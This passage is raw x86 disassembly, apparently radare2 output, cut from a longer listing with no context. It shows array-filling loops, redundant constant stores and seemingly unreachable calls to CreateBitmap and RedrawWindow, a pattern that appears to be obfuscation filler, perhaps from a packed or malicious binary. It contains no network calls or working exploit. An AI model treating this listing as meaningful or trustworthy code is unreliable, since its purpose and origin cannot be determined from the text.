jmp 0x10032220
cmp dword [ebp - 0x40], 0xffffffe2
jg 0x100321fb
dec dword [ebp - 0x20]
push 1
pop ebx
jns 0x1003209c
push 2
pop edi
lea ecx, [ebp - 0xcd0]
call fcn.1000a4e6
or eax, 0xffffffff
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 4], eax
call fcn.1000a4e6
push edi
lea ecx, [ebp - 0x7c0]
call fcn.1000a48a
xor eax, eax
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0xb98]
push esi
call fcn.1000a48a
xor eax, eax
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x100322b2
push dword [ebp - 0x24]
lea ecx, [ebp - 0x7c0]
call fcn.1000a502
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10032294
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x100322d8
push dword [ebp - 0x24]
lea ecx, [ebp - 0xb98]
call fcn.1000a502
mov dword [eax], 0x9d19ac19
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x100322ba
xor eax, eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x10032326
push dword [ebp - 0x14]
lea ecx, [ebp - 0x7c0]
call fcn.1000a502
push dword [ebp - 0x14]
lea ecx, [ebp - 0x7c0]
mov esi, eax
call fcn.1000a502
mov esi, dword [esi]
lea ecx, [ebp - 0xb98]
push ebx
add esi, dword [eax]
call fcn.1000a502
push ebx
lea ecx, [ebp - 0x7c0]
mov dword [eax], esi
call fcn.1000a502
dec dword [ebp - 0x14]
jns 0x100322e0
push 3
xor eax, eax
pop esi
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x1003234a
push eax
push 0x195
push 0x2ec
push 0x1d34
push 0x65b
call dword [sym.imp.GDI32.dll_CreateBitmap]
lea ecx, [ebp - 0xb98]
call fcn.1000a4e6
or eax, 0xffffffff
lea ecx, [ebp - 0x7c0]
mov dword [ebp - 4], eax
call fcn.1000a4e6
push esi
lea ecx, [ebp - 0xe80]
call fcn.1000a48a
mov dword [ebp - 4], 0x1d
mov eax, 0xfff7
mov dword [ebp - 0x28], 0x2fd4914d
mov dword [ebp - 0x28], 0x5b7cefa9
mov dword [ebp - 0x28], 0x96a162c9
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], 0xba75a592
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0xab8], eax
mov dword [ebp - 0xab4], eax
mov dword [ebp - 0xab0], eax
mov dword [ebp - 0xaac], eax
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x100323e3
push dword [ebp - 0x24]
lea ecx, [ebp - 0xe80]
call fcn.1000a502
mov dword [eax], 0x4801897a
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x100323c5
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10032402
push 0xfffffffffffffffc
pop ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x12d4], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x100323ee
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10032421
push 0x162e
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
dec dword [ebp - 0xaac]
lea ecx, [ebp - 0xe80]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.1000a4e6
mov dword [ebp - 0x14], 0xfe0a8eac
lea ecx, [ebp - 0x3d4]
push esi
call fcn.1000a48a
xor eax, eax
mov dword [ebp - 4], 0x1e
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1003247a
push dword [ebp - 0x24]
lea ecx, [ebp - 0x3d4]
call fcn.1000a502
mov dword [eax], 7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1003245c
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1003249a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1204], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10032482
mov dword [ebp - 0x14], 0xffffffed
cmp dword [ebp - 0x14], 0xfffffff3
jg 0x100325b0